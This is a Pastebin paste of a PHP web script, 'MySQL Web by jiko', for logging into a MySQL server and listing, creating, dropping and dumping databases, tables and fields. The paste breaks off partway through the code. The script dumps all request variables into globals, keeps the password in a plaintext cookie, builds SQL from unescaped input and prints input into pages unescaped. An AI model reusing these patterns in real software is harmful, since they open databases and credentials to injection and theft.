Advertisement
Guest User

Untitled

a guest
Sep 22nd, 2017
67
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 40.60 KB | None | 0 0
  1. <?
  2.  
  3.  
  4.  
  5. if ( function_exists('ini_get') ) {
  6.  
  7. $onoff = ini_get('register_globals');
  8.  
  9. } else {
  10.  
  11. $onoff = get_cfg_var('register_globals');
  12.  
  13. }
  14.  
  15. if ($onoff != 1) {
  16.  
  17. @extract($HTTP_SERVER_VARS, EXTR_SKIP);
  18.  
  19. @extract($HTTP_COOKIE_VARS, EXTR_SKIP);
  20.  
  21. @extract($HTTP_POST_FILES, EXTR_SKIP);
  22.  
  23. @extract($HTTP_POST_VARS, EXTR_SKIP);
  24.  
  25. @extract($HTTP_GET_VARS, EXTR_SKIP);
  26.  
  27. @extract($HTTP_ENV_VARS, EXTR_SKIP);
  28.  
  29. }
  30.  
  31.  
  32.  
  33. function logon() {
  34.  
  35. global $PHP_SELF;
  36.  
  37.  
  38.  
  39. setcookie( "mysql_web_admin_username" );
  40.  
  41. setcookie( "mysql_web_admin_password" );
  42.  
  43. setcookie( "mysql_web_admin_hostname" );
  44.  
  45. echo "<html>\n";
  46.  
  47. echo "<head>\n";
  48.  
  49. echo "<title>MySQL New by jiko</title>\n";
  50.  
  51. echo "</head>\n";
  52.  
  53. echo "<body>\n";
  54.  
  55. echo "<table width=100% height=100%><tr><td><center>\n";
  56.  
  57. echo "<table cellpadding=2><tr><td bgcolor=#a4a260><center>\n";
  58.  
  59. echo "<table cellpadding=20><tr><td bgcolor=#ffffff><center>\n";
  60.  
  61. echo "<h1>MySQL Web by jiko</h1>\n";
  62.  
  63. echo "<form action='$PHP_SELF'>\n";
  64.  
  65. echo "<input type=hidden name=action value=logon_submit>\n";
  66.  
  67. echo "<table cellpadding=5 cellspacing=1>\n";
  68.  
  69. echo "<tr><td>Hostname </td><td> <input type=text name=hostname value='localhost'></td></tr>\n";
  70.  
  71. echo "<tr><td>Username </td><td> <input type=text name=username></td></tr>\n";
  72.  
  73. echo "<tr><td>Password </td><td> <input type=password name=password></td></tr>\n";
  74.  
  75. echo "</table><p>\n";
  76.  
  77. echo "<input type=submit value='Enter'>\n";
  78.  
  79. echo "<input type=reset value='Clear'><br>\n";
  80.  
  81. echo "</form>\n";
  82.  
  83. echo "</center></td></tr></table>\n";
  84.  
  85. echo "</center></td></tr></table>\n";
  86.  
  87. echo "<p><hr width=300>\n";
  88.  
  89. echo "</center></td></tr></table>\n";
  90.  
  91. echo "</body>\n";
  92.  
  93. echo "</html>\n";
  94.  
  95. }
  96.  
  97.  
  98.  
  99. function logon_submit() {
  100.  
  101. global $username, $password, $hostname ,$PHP_SELF;
  102.  
  103. if($hostname =='')
  104.  
  105. $hostname = 'localhost';
  106.  
  107. setcookie( "mysql_web_admin_username", $username );
  108.  
  109. setcookie( "mysql_web_admin_password", $password );
  110.  
  111. setcookie( "mysql_web_admin_hostname", $hostname );
  112.  
  113. echo "<html>";
  114.  
  115. echo "<head>";
  116.  
  117. echo "<META HTTP-EQUIV=Refresh CONTENT='0; URL=$PHP_SELF?action=listDBs'>";
  118.  
  119. echo "</head>";
  120.  
  121. echo "</html>";
  122.  
  123. }
  124.  
  125.  
  126.  
  127. function echoQueryResult() {
  128.  
  129. global $queryStr, $errMsg;
  130.  
  131.  
  132.  
  133. if( $errMsg == "" ) $errMsg = "Success";
  134.  
  135. if( $queryStr != "" ) {
  136.  
  137. echo "<table cellpadding=5>\n";
  138.  
  139. echo "<tr><td>Query</td><td>$queryStr</td></tr>\n";
  140.  
  141. echo "<tr><td>Result</td><td>$errMsg</td></tr>\n";
  142.  
  143. echo "</table><p>\n";
  144.  
  145. }
  146.  
  147. }
  148.  
  149.  
  150.  
  151. function listDatabases() {
  152.  
  153. global $mysqlHandle, $PHP_SELF;
  154.  
  155.  
  156.  
  157. echo "<h1>Databases List</h1>\n";
  158.  
  159.  
  160.  
  161. echo "<form action='$PHP_SELF'>\n";
  162.  
  163. echo "<input type=hidden name=action value=createDB>\n";
  164.  
  165. echo "<input type=text name=dbname>\n";
  166.  
  167. echo "<input type=submit value='Create Database'>\n";
  168.  
  169. echo "</form>\n";
  170.  
  171. echo "<hr>\n";
  172.  
  173.  
  174.  
  175. echo "<table cellspacing=1 cellpadding=5>\n";
  176.  
  177.  
  178.  
  179. $pDB = mysql_list_dbs( $mysqlHandle );
  180.  
  181. $num = mysql_num_rows( $pDB );
  182.  
  183. for( $i = 0; $i < $num; $i++ ) {
  184.  
  185. $dbname = mysql_dbname( $pDB, $i );
  186.  
  187. echo "<tr>\n";
  188.  
  189. echo "<td>$dbname</td>\n";
  190.  
  191. echo "<td><a href='$PHP_SELF?action=listTables&dbname=$dbname'>Tables</a></td>\n";
  192.  
  193. echo "<td><a href='$PHP_SELF?action=dropDB&dbname=$dbname' onClick=\"return confirm('Drop Database \'$dbname\'?')\">Drop</a></td>\n";
  194.  
  195. echo "<td><a href='$PHP_SELF?action=dumpDB&dbname=$dbname' onClick=\"return confirm('Dump Database \'$dbname\'?')\">Dump</a></td>\n";
  196.  
  197. echo "</tr>\n";
  198.  
  199. }
  200.  
  201. echo "</table>\n";
  202.  
  203. }
  204.  
  205.  
  206.  
  207. function createDatabase() {
  208.  
  209. global $mysqlHandle, $dbname, $PHP_SELF;
  210.  
  211.  
  212.  
  213. mysql_create_db( $dbname, $mysqlHandle );
  214.  
  215. listDatabases();
  216.  
  217. }
  218.  
  219.  
  220.  
  221. function dropDatabase() {
  222.  
  223. global $mysqlHandle, $dbname, $PHP_SELF;
  224.  
  225.  
  226.  
  227. mysql_drop_db( $dbname, $mysqlHandle );
  228.  
  229. listDatabases();
  230.  
  231. }
  232.  
  233.  
  234.  
  235. function listTables() {
  236.  
  237. global $mysqlHandle, $dbname, $PHP_SELF;
  238.  
  239.  
  240.  
  241.  
  242.  
  243. echo "<h1>Tables List</h1>\n";
  244.  
  245. echo "<p class=location>$dbname</p>\n";
  246.  
  247. echoQueryResult();
  248.  
  249. echo "<form action='$PHP_SELF'>\n";
  250.  
  251. echo "<input type=hidden name=action value=createTable>\n";
  252.  
  253. echo "<input type=hidden name=dbname value=$dbname>\n";
  254.  
  255. echo "<input type=text name=tablename>\n";
  256.  
  257. echo "<input type=submit value='Create Table'>\n";
  258.  
  259. echo "</form>\n";
  260.  
  261. echo "<form action='$PHP_SELF'>\n";
  262.  
  263. echo "<input type=hidden name=action value=query>\n";
  264.  
  265. echo "<input type=hidden name=dbname value=$dbname>\n";
  266.  
  267. echo "<input type=text size=120 name=queryStr>\n";
  268.  
  269. echo "<input type=submit value='Query'>\n";
  270.  
  271. echo "</form>\n";
  272.  
  273. echo "<hr>\n";
  274.  
  275.  
  276.  
  277. $pTable = mysql_list_tables( $dbname );
  278.  
  279.  
  280.  
  281. if( $pTable == 0 ) {
  282.  
  283. $msg = mysql_error();
  284.  
  285. echo "<h3>Error : $msg</h3><p>\n";
  286.  
  287. return;
  288.  
  289. }
  290.  
  291. $num = mysql_num_rows( $pTable );
  292.  
  293.  
  294.  
  295. echo "<table cellspacing=1 cellpadding=5>\n";
  296.  
  297.  
  298.  
  299. for( $i = 0; $i < $num; $i++ ) {
  300.  
  301. $tablename = mysql_tablename( $pTable, $i );
  302.  
  303.  
  304.  
  305. echo "<tr>\n";
  306.  
  307. echo "<td>\n";
  308.  
  309. echo "$tablename\n";
  310.  
  311. echo "</td>\n";
  312.  
  313. echo "<td>\n";
  314.  
  315. echo "<a href='$PHP_SELF?action=viewSchema&dbname=$dbname&tablename=$tablename'>Schema</a>\n";
  316.  
  317. echo "</td>\n";
  318.  
  319. echo "<td>\n";
  320.  
  321. echo "<a href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename'>Data</a>\n";
  322.  
  323. echo "</td>\n";
  324.  
  325. echo "<td>\n";
  326.  
  327. echo "<a href='$PHP_SELF?action=dropTable&dbname=$dbname&tablename=$tablename' onClick=\"return confirm('Drop Table \'$tablename\'?')\">Drop</a>\n";
  328.  
  329. echo "</td>\n";
  330.  
  331. echo "<td>\n";
  332.  
  333. echo "<a href='$PHP_SELF?action=dumpTable&dbname=$dbname&tablename=$tablename' onClick=\"return confirm('Dump Table \'$tablename\'?')\">Dump</a>\n";
  334.  
  335. echo "</td>\n";
  336.  
  337. echo "</tr>\n";
  338.  
  339. }
  340.  
  341.  
  342.  
  343. echo "</table>";
  344.  
  345. }
  346.  
  347.  
  348.  
  349. function createTable() {
  350.  
  351. global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;
  352.  
  353.  
  354.  
  355. $queryStr = "CREATE TABLE $tablename ( no INT )";
  356.  
  357. mysql_select_db( $dbname, $mysqlHandle );
  358.  
  359. mysql_query( $queryStr, $mysqlHandle );
  360.  
  361. $errMsg = mysql_error();
  362.  
  363.  
  364.  
  365. listTables();
  366.  
  367. }
  368.  
  369.  
  370.  
  371. function dropTable() {
  372.  
  373. global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;
  374.  
  375.  
  376.  
  377. $queryStr = "DROP TABLE $tablename";
  378.  
  379. mysql_select_db( $dbname, $mysqlHandle );
  380.  
  381. mysql_query( $queryStr, $mysqlHandle );
  382.  
  383. $errMsg = mysql_error();
  384.  
  385.  
  386.  
  387. listTables();
  388.  
  389. }
  390.  
  391.  
  392.  
  393. function viewSchema() {
  394.  
  395. global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;
  396.  
  397.  
  398.  
  399. echo "<h1>Table Schema</h1>\n";
  400.  
  401. echo "<p class=location>$dbname > $tablename</p>\n";
  402.  
  403.  
  404.  
  405. echoQueryResult();
  406.  
  407.  
  408.  
  409. echo "<a href='$PHP_SELF?action=addField&dbname=$dbname&tablename=$tablename'>Add Field</a> | \n";
  410.  
  411. echo "<a href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename'>View Data</a>\n";
  412.  
  413. echo "<hr>\n";
  414.  
  415.  
  416.  
  417. $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
  418.  
  419. $num = mysql_num_rows( $pResult );
  420.  
  421.  
  422.  
  423. echo "<table cellspacing=1 cellpadding=5>\n";
  424.  
  425. echo "<tr>\n";
  426.  
  427. echo "<th>Field</th>\n";
  428.  
  429. echo "<th>Type</th>\n";
  430.  
  431. echo "<th>Null</th>\n";
  432.  
  433. echo "<th>Key</th>\n";
  434.  
  435. echo "<th>Default</th>\n";
  436.  
  437. echo "<th>Extra</th>\n";
  438.  
  439. echo "<th colspan=2>Action</th>\n";
  440.  
  441. echo "</tr>\n";
  442.  
  443.  
  444.  
  445.  
  446.  
  447. for( $i = 0; $i < $num; $i++ ) {
  448.  
  449. $field = mysql_fetch_array( $pResult );
  450.  
  451. echo "<tr>\n";
  452.  
  453. echo "<td>".$field["Field"]."</td>\n";
  454.  
  455. echo "<td>".$field["Type"]."</td>\n";
  456.  
  457. echo "<td>".$field["Null"]."</td>\n";
  458.  
  459. echo "<td>".$field["Key"]."</td>\n";
  460.  
  461. echo "<td>".$field["Default"]."</td>\n";
  462.  
  463. echo "<td>".$field["Extra"]."</td>\n";
  464.  
  465. $fieldname = $field["Field"];
  466.  
  467. echo "<td><a href='$PHP_SELF?action=editField&dbname=$dbname&tablename=$tablename&fieldname=$fieldname'>Edit</a></td>\n";
  468.  
  469. echo "<td><a href='$PHP_SELF?action=dropField&dbname=$dbname&tablename=$tablename&fieldname=$fieldname' onClick=\"return confirm('Drop Field \'$fieldname\'?')\">Drop</a></td>\n";
  470.  
  471. echo "</tr>\n";
  472.  
  473. }
  474.  
  475. echo "</table>\n";
  476.  
  477.  
  478.  
  479. }
  480.  
  481.  
  482.  
  483. function manageField( $cmd ) {
  484.  
  485. global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF;
  486.  
  487.  
  488.  
  489. if( $cmd == "add" )
  490.  
  491. echo "<h1>Add Field</h1>\n";
  492.  
  493. else if( $cmd == "edit" ) {
  494.  
  495. echo "<h1>Edit Field</h1>\n";
  496.  
  497. $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
  498.  
  499. $num = mysql_num_rows( $pResult );
  500.  
  501. for( $i = 0; $i < $num; $i++ ) {
  502.  
  503. $field = mysql_fetch_array( $pResult );
  504.  
  505. if( $field["Field"] == $fieldname ) {
  506.  
  507. $fieldtype = $field["Type"];
  508.  
  509. $fieldkey = $field["Key"];
  510.  
  511. $fieldextra = $field["Extra"];
  512.  
  513. $fieldnull = $field["Null"];
  514.  
  515. $fielddefault = $field["Default"];
  516.  
  517. break;
  518.  
  519. }
  520.  
  521. }
  522.  
  523. $type = strtok( $fieldtype, " (,)\n" );
  524.  
  525. if( strpos( $fieldtype, "(" ) ) {
  526.  
  527. if( $type == "enum" | $type == "set" ) {
  528.  
  529. $valuelist = strtok( " ()\n" );
  530.  
  531. } else {
  532.  
  533. $M = strtok( " (,)\n" );
  534.  
  535. if( strpos( $fieldtype, "," ) )
  536.  
  537. $D = strtok( " (,)\n" );
  538.  
  539. }
  540.  
  541. }
  542.  
  543. }
  544.  
  545.  
  546.  
  547. echo "<p class=location>$dbname > $tablename</p>\n";
  548.  
  549. echo "<form action=$PHP_SELF>\n";
  550.  
  551.  
  552.  
  553. if( $cmd == "add" )
  554.  
  555. echo "<input type=hidden name=action value=addField_submit>\n";
  556.  
  557. else if( $cmd == "edit" ) {
  558.  
  559. echo "<input type=hidden name=action value=editField_submit>\n";
  560.  
  561. echo "<input type=hidden name=old_name value=$fieldname>\n";
  562.  
  563. }
  564.  
  565. echo "<input type=hidden name=dbname value=$dbname>\n";
  566.  
  567. echo "<input type=hidden name=tablename value=$tablename>\n";
  568.  
  569.  
  570.  
  571. echo "<h3>Name</h3>\n";
  572.  
  573. echo "<input type=text name=name value=$fieldname><p>\n";
  574.  
  575. echo '
  576.  
  577.  
  578.  
  579. <h3>Type</h3>
  580.  
  581.  
  582.  
  583. <font size=2>
  584.  
  585. * `M\' indicates the maximum display size.<br>
  586.  
  587. * `D\' applies to floating-point types and indicates the number of digits following the decimal point.<br>
  588.  
  589. </font>
  590.  
  591.  
  592.  
  593. <table>
  594.  
  595. <tr>
  596.  
  597. <th>Type</th><th>&nbspM&nbsp</th><th>&nbspD&nbsp</th><th>unsigned</th><th>zerofill</th><th>binary</th>
  598.  
  599. </tr>
  600.  
  601. <tr>
  602.  
  603. <td><input type=radio name=type value="TINYINT" '; if( $type == "tinyint" ) echo "checked";echo '>TINYINT (-128 ~ 127)</td>
  604.  
  605. <td align=center>O</td>
  606.  
  607. <td>&nbsp</td>
  608.  
  609. <td align=center>O</td>
  610.  
  611. <td align=center>O</td>
  612.  
  613. <td>&nbsp</td>
  614.  
  615. </tr>
  616.  
  617. <tr>
  618.  
  619. <td><input type=radio name=type value="SMALLINT" '; if( $type == "smallint" ) echo "checked";echo '>SMALLINT (-32768 ~ 32767)</td>
  620.  
  621. <td align=center>O</td>
  622.  
  623. <td>&nbsp</td>
  624.  
  625. <td align=center>O</td>
  626.  
  627. <td align=center>O</td>
  628.  
  629. <td>&nbsp</td>
  630.  
  631. </tr>
  632.  
  633. <tr>
  634.  
  635. <td><input type=radio name=type value="MEDIUMINT" '; if( $type == "mediumint" ) echo "checked";echo '>MEDIUMINT (-8388608 ~ 8388607)</td>
  636.  
  637.  
  638.  
  639. <td align=center>O</td>
  640.  
  641. <td>&nbsp</td>
  642.  
  643. <td align=center>O</td>
  644.  
  645. <td align=center>O</td>
  646.  
  647. <td>&nbsp</td>
  648.  
  649. </tr>
  650.  
  651. <tr>
  652.  
  653. <td><input type=radio name=type value="INT" '; if( $type == "int" ) echo "checked";echo '>INT (-2147483648 ~ 2147483647)</td>
  654.  
  655. <td align=center>O</td>
  656.  
  657. <td>&nbsp</td>
  658.  
  659. <td align=center>O</td>
  660.  
  661. <td align=center>O</td>
  662.  
  663. <td>&nbsp</td>
  664.  
  665. </tr>
  666.  
  667. <tr>
  668.  
  669. <td><input type=radio name=type value="BIGINT" '; if( $type == "bigint" ) echo "checked";echo '>BIGINT (-9223372036854775808 ~ 9223372036854775807)</td>
  670.  
  671. <td align=center>O</td>
  672.  
  673. <td>&nbsp</td>
  674.  
  675. <td align=center>O</td>
  676.  
  677. <td align=center>O</td>
  678.  
  679. <td>&nbsp</td>
  680.  
  681. </tr>
  682.  
  683. <tr>
  684.  
  685. <td><input type=radio name=type value="FLOAT" '; if( $type == "float" ) echo "checked";echo '>FLOAT</td>
  686.  
  687. <td align=center>O</td>
  688.  
  689. <td align=center>O</td>
  690.  
  691. <td>&nbsp</td>
  692.  
  693. <td align=center>O</td>
  694.  
  695. <td>&nbsp</td>
  696.  
  697. </tr>
  698.  
  699. <tr>
  700.  
  701. <td><input type=radio name=type value="DOUBLE" '; if( $type == "double" ) echo "checked";echo '>DOUBLE</td>
  702.  
  703. <td align=center>O</td>
  704.  
  705. <td align=center>O</td>
  706.  
  707. <td>&nbsp</td>
  708.  
  709. <td align=center>O</td>
  710.  
  711. <td>&nbsp</td>
  712.  
  713. </tr>
  714.  
  715. <tr>
  716.  
  717. <td><input type=radio name=type value="DECIMAL" '; if( $type == "decimal" ) echo "checked";echo '>DECIMAL(NUMERIC)</td>
  718.  
  719. <td align=center>O</td>
  720.  
  721. <td align=center>O</td>
  722.  
  723. <td>&nbsp</td>
  724.  
  725. <td align=center>O</td>
  726.  
  727. <td>&nbsp</td>
  728.  
  729. </tr>
  730.  
  731. <tr>
  732.  
  733. <td><input type=radio name=type value="DATE" '; if( $type == "date" ) echo "checked";echo '>DATE (1000-01-01 ~ 9999-12-31, YYYY-MM-DD)</td>
  734.  
  735. <td>&nbsp</td>
  736.  
  737. <td>&nbsp</td>
  738.  
  739. <td>&nbsp</td>
  740.  
  741. <td>&nbsp</td>
  742.  
  743. <td>&nbsp</td>
  744.  
  745. </tr>
  746.  
  747. <tr>
  748.  
  749. <td><input type=radio name=type value="DATETIME" '; if( $type == "datetime" ) echo "checked";echo '>DATETIME (1000-01-01 00:00:00 ~ 9999-12-31 23:59:59, YYYY-MM-DD HH:MM:SS)</td>
  750.  
  751. <td>&nbsp</td>
  752.  
  753. <td>&nbsp</td>
  754.  
  755. <td>&nbsp</td>
  756.  
  757. <td>&nbsp</td>
  758.  
  759. <td>&nbsp</td>
  760.  
  761. </tr>
  762.  
  763. <tr>
  764.  
  765. <td><input type=radio name=type value="TIMESTAMP" '; if( $type == "timestamp" ) echo "checked";echo '>TIMESTAMP (1970-01-01 00:00:00 ~ 2106..., YYYYMMDD[HH[MM[SS]]])</td>
  766.  
  767. <td align=center>O</td>
  768.  
  769. <td>&nbsp</td>
  770.  
  771. <td>&nbsp</td>
  772.  
  773. <td>&nbsp</td>
  774.  
  775. <td>&nbsp</td>
  776.  
  777. </tr>
  778.  
  779. <tr>
  780.  
  781. <td><input type=radio name=type value="TIME" '; if( $type == "time" ) echo "checked";echo '>TIME (-838:59:59 ~ 838:59:59, HH:MM:SS)</td>
  782.  
  783. <td>&nbsp</td>
  784.  
  785. <td>&nbsp</td>
  786.  
  787. <td>&nbsp</td>
  788.  
  789. <td>&nbsp</td>
  790.  
  791. <td>&nbsp</td>
  792.  
  793. </tr>
  794.  
  795. <tr>
  796.  
  797. <td><input type=radio name=type value="YEAR" '; if( $type == "year" ) echo "checked";echo '>YEAR (1901 ~ 2155, 0000, YYYY)</td>
  798.  
  799. <td>&nbsp</td>
  800.  
  801. <td>&nbsp</td>
  802.  
  803. <td>&nbsp</td>
  804.  
  805. <td>&nbsp</td>
  806.  
  807. <td>&nbsp</td>
  808.  
  809. </tr>
  810.  
  811. <tr>
  812.  
  813. <td><input type=radio name=type value="CHAR" '; if( $type == "char" ) echo "checked";echo '>CHAR</td>
  814.  
  815. <td align=center>O</td>
  816.  
  817. <td>&nbsp</td>
  818.  
  819. <td>&nbsp</td>
  820.  
  821. <td>&nbsp</td>
  822.  
  823. <td align=center>O</td>
  824.  
  825. </tr>
  826.  
  827. <tr>
  828.  
  829. <td><input type=radio name=type value="VARCHAR" '; if( $type == "varchar" ) echo "checked";echo '>VARCHAR</td>
  830.  
  831. <td align=center>O</td>
  832.  
  833. <td>&nbsp</td>
  834.  
  835. <td>&nbsp</td>
  836.  
  837. <td>&nbsp</td>
  838.  
  839. <td align=center>O</td>
  840.  
  841. </tr>
  842.  
  843. <tr>
  844.  
  845. <td><input type=radio name=type value="TINYTEXT" '; if( $type == "tinytext" ) echo "checked";echo '>TINYTEXT (0 ~ 255)</td>
  846.  
  847. <td>&nbsp</td>
  848.  
  849. <td>&nbsp</td>
  850.  
  851. <td>&nbsp</td>
  852.  
  853. <td>&nbsp</td>
  854.  
  855. <td>&nbsp</td>
  856.  
  857. </tr>
  858.  
  859. <tr>
  860.  
  861. <td><input type=radio name=type value="TEXT" '; if( $type == "text" ) echo "checked";echo '>TEXT (0 ~ 65535)</td>
  862.  
  863. <td>&nbsp</td>
  864.  
  865. <td>&nbsp</td>
  866.  
  867. <td>&nbsp</td>
  868.  
  869. <td>&nbsp</td>
  870.  
  871. <td>&nbsp</td>
  872.  
  873. </tr>
  874.  
  875. <tr>
  876.  
  877. <td><input type=radio name=type value="MEDIUMTEXT" '; if( $type == "mediumtext" ) echo "checked";echo '>MEDIUMTEXT (0 ~ 16777215)</td>
  878.  
  879. <td>&nbsp</td>
  880.  
  881. <td>&nbsp</td>
  882.  
  883. <td>&nbsp</td>
  884.  
  885. <td>&nbsp</td>
  886.  
  887. <td>&nbsp</td>
  888.  
  889. </tr>
  890.  
  891. <tr>
  892.  
  893. <td><input type=radio name=type value="LONGTEXT" '; if( $type == "longtext" ) echo "checked";echo '>LONGTEXT (0 ~ 4294967295)</td>
  894.  
  895. <td>&nbsp</td>
  896.  
  897. <td>&nbsp</td>
  898.  
  899. <td>&nbsp</td>
  900.  
  901. <td>&nbsp</td>
  902.  
  903. <td>&nbsp</td>
  904.  
  905. </tr>
  906.  
  907. <tr>
  908.  
  909. <td><input type=radio name=type value="TINYBLOB" '; if( $type == "tinyblob" ) echo "checked";echo '>TINYBLOB (0 ~ 255)</td>
  910.  
  911. <td>&nbsp</td>
  912.  
  913. <td>&nbsp</td>
  914.  
  915. <td>&nbsp</td>
  916.  
  917. <td>&nbsp</td>
  918.  
  919. <td>&nbsp</td>
  920.  
  921. </tr>
  922.  
  923. <tr>
  924.  
  925. <td><input type=radio name=type value="BLOB" '; if( $type == "blob" ) echo "checked";echo '>BLOB (0 ~ 65535)</td>
  926.  
  927. <td>&nbsp</td>
  928.  
  929. <td>&nbsp</td>
  930.  
  931. <td>&nbsp</td>
  932.  
  933. <td>&nbsp</td>
  934.  
  935. <td>&nbsp</td>
  936.  
  937. </tr>
  938.  
  939. <tr>
  940.  
  941. <td><input type=radio name=type value="MEDIUMBLOB" '; if( $type == "mediumblob" ) echo "checked";echo '>MEDIUMBLOB (0 ~ 16777215)</td>
  942.  
  943. <td>&nbsp</td>
  944.  
  945. <td>&nbsp</td>
  946.  
  947. <td>&nbsp</td>
  948.  
  949. <td>&nbsp</td>
  950.  
  951. <td>&nbsp</td>
  952.  
  953. </tr>
  954.  
  955. <tr>
  956.  
  957. <td><input type=radio name=type value="LONGBLOB" '; if( $type == "longblob" ) echo "checked";echo '>LONGBLOB (0 ~ 4294967295)</td>
  958.  
  959. <td>&nbsp</td>
  960.  
  961. <td>&nbsp</td>
  962.  
  963. <td>&nbsp</td>
  964.  
  965. <td>&nbsp</td>
  966.  
  967. <td>&nbsp</td>
  968.  
  969. </tr>
  970.  
  971. <tr>
  972.  
  973. <td><input type=radio name=type value="ENUM" '; if( $type == "enum" ) echo "checked";echo '>ENUM</td>
  974.  
  975. <td colspan=5><center>value list</center></td>
  976.  
  977. </tr>
  978.  
  979. <tr>
  980.  
  981. <td><input type=radio name=type value="SET" '; if( $type == "set" ) echo "checked";echo '>SET</td>
  982.  
  983. <td colspan=5><center>value list</center></td>
  984.  
  985. </tr>
  986.  
  987.  
  988.  
  989. </table>
  990.  
  991. <table>
  992.  
  993. <tr><th>M</th><th>D</th><th>unsigned</th><th>zerofill</th><th>binary</th><th>value list (ex: \'apple\', \'orange\', \'banana\') </th></tr>
  994.  
  995. <tr>
  996.  
  997. <td align=center><input type=text size=4 name=M '; if( $M != "" ) echo "value=$M";echo '></td>
  998.  
  999. <td align=center><input type=text size=4 name=D '; if( $D != "" ) echo "value=$D";echo '></td>
  1000.  
  1001. <td align=center><input type=checkbox name=unsigned value="UNSIGNED" '; if( strpos( $fieldtype, "unsigned" ) ) echo "checked";echo '></td>
  1002.  
  1003. <td align=center><input type=checkbox name=zerofill value="ZEROFILL" '; if( strpos( $fieldtype, "zerofill" ) ) echo "checked";echo '></td>
  1004.  
  1005. <td align=center><input type=checkbox name=binary value="BINARY" '; if( strpos( $fieldtype, "binary" ) ) echo "checked";echo '></td>
  1006.  
  1007. <td align=center><input type=text size=60 name=valuelist '; if( $valuelist != "" ) echo "value=\"$valuelist\"";echo '></td>
  1008.  
  1009. </tr>
  1010.  
  1011. </table>
  1012.  
  1013.  
  1014.  
  1015.  
  1016.  
  1017. <h3>Flags</h3>
  1018.  
  1019. <table>
  1020.  
  1021. <tr><th>not null</th><th>default value</th><th>auto increment</th><th>primary key</th></tr>
  1022.  
  1023. <tr>
  1024.  
  1025. <td align=center><input type=checkbox name=not_null value="NOT NULL" '; if( $fieldnull != "YES" ) echo "checked";echo '></td>
  1026.  
  1027. <td align=center><input type=text name=default_value '; if( $fielddefault != "" ) echo "value=$fielddefault";echo '></td>
  1028.  
  1029. <td align=center><input type=checkbox name=auto_increment value="AUTO_INCREMENT" '; if( $fieldextra == "auto_increment" ) echo "checked";echo '></td>
  1030.  
  1031. <td align=center><input type=checkbox name=primary_key value="PRIMARY KEY" '; if( $fieldkey == "PRI" ) echo "checked";echo '></td>
  1032.  
  1033. </tr>
  1034.  
  1035. </table>
  1036.  
  1037.  
  1038.  
  1039. <p>';
  1040.  
  1041.  
  1042.  
  1043. if( $cmd == "add" )
  1044.  
  1045. echo "<input type=submit value='Add Field'>\n";
  1046.  
  1047. else if( $cmd == "edit" )
  1048.  
  1049. echo "<input type=submit value='Edit Field'>\n";
  1050.  
  1051. echo "<input type=button value=Cancel onClick='history.back()'>\n";
  1052.  
  1053. echo "</form>\n";
  1054.  
  1055. }
  1056.  
  1057.  
  1058.  
  1059. function manageField_submit( $cmd ) {
  1060.  
  1061. global $mysqlHandle, $dbname, $tablename, $old_name, $name, $type, $PHP_SELF, $queryStr, $errMsg,
  1062.  
  1063. $M, $D, $unsigned, $zerofill, $binary, $not_null, $default_value, $auto_increment, $primary_key, $valuelist;
  1064.  
  1065.  
  1066.  
  1067. if( $cmd == "add" )
  1068.  
  1069. $queryStr = "ALTER TABLE $tablename ADD $name ";
  1070.  
  1071. else if( $cmd == "edit" )
  1072.  
  1073. $queryStr = "ALTER TABLE $tablename CHANGE $old_name $name ";
  1074.  
  1075.  
  1076.  
  1077. if( $M != "" )
  1078.  
  1079. if( $D != "" )
  1080.  
  1081. $queryStr .= "$type($M,$D) ";
  1082.  
  1083. else
  1084.  
  1085. $queryStr .= "$type($M) ";
  1086.  
  1087. else if( $valuelist != "" ) {
  1088.  
  1089. $valuelist = stripslashes( $valuelist );
  1090.  
  1091. $queryStr .= "$type($valuelist) ";
  1092.  
  1093. } else
  1094.  
  1095. $queryStr .= "$type ";
  1096.  
  1097.  
  1098.  
  1099. $queryStr .= "$unsigned $zerofill $binary ";
  1100.  
  1101.  
  1102.  
  1103. if( $default_value != "" )
  1104.  
  1105. $queryStr .= "DEFAULT '$default_value' ";
  1106.  
  1107.  
  1108.  
  1109. $queryStr .= "$not_null $auto_increment";
  1110.  
  1111.  
  1112.  
  1113. mysql_select_db( $dbname, $mysqlHandle );
  1114.  
  1115. mysql_query( $queryStr, $mysqlHandle );
  1116.  
  1117. $errMsg = mysql_error();
  1118.  
  1119.  
  1120.  
  1121. // key change
  1122.  
  1123. $keyChange = false;
  1124.  
  1125. $result = mysql_query( "SHOW KEYS FROM $tablename" );
  1126.  
  1127. $primary = "";
  1128.  
  1129. while( $row = mysql_fetch_array($result) )
  1130.  
  1131. if( $row["Key_name"] == "PRIMARY" ) {
  1132.  
  1133. if( $row[Column_name] == $name )
  1134.  
  1135. $keyChange = true;
  1136.  
  1137. else
  1138.  
  1139. $primary .= ", $row[Column_name]";
  1140.  
  1141. }
  1142.  
  1143. if( $primary_key == "PRIMARY KEY" ) {
  1144.  
  1145. $primary .= ", $name";
  1146.  
  1147. $keyChange = !$keyChange;
  1148.  
  1149. }
  1150.  
  1151. $primary = substr( $primary, 2 );
  1152.  
  1153. if( $keyChange == true ) {
  1154.  
  1155. $q = "ALTER TABLE $tablename DROP PRIMARY KEY";
  1156.  
  1157. mysql_query( $q );
  1158.  
  1159. $queryStr .= "<br>\n" . $q;
  1160.  
  1161. $errMsg .= "<br>\n" . mysql_error();
  1162.  
  1163. $q = "ALTER TABLE $tablename ADD PRIMARY KEY( $primary )";
  1164.  
  1165. mysql_query( $q );
  1166.  
  1167. $queryStr .= "<br>\n" . $q;
  1168.  
  1169. $errMsg .= "<br>\n" . mysql_error();
  1170.  
  1171. }
  1172.  
  1173.  
  1174.  
  1175. viewSchema();
  1176.  
  1177. }
  1178.  
  1179.  
  1180.  
  1181. function dropField() {
  1182.  
  1183. global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;
  1184.  
  1185.  
  1186.  
  1187. $queryStr = "ALTER TABLE $tablename DROP COLUMN $fieldname";
  1188.  
  1189. mysql_select_db( $dbname, $mysqlHandle );
  1190.  
  1191. mysql_query( $queryStr , $mysqlHandle );
  1192.  
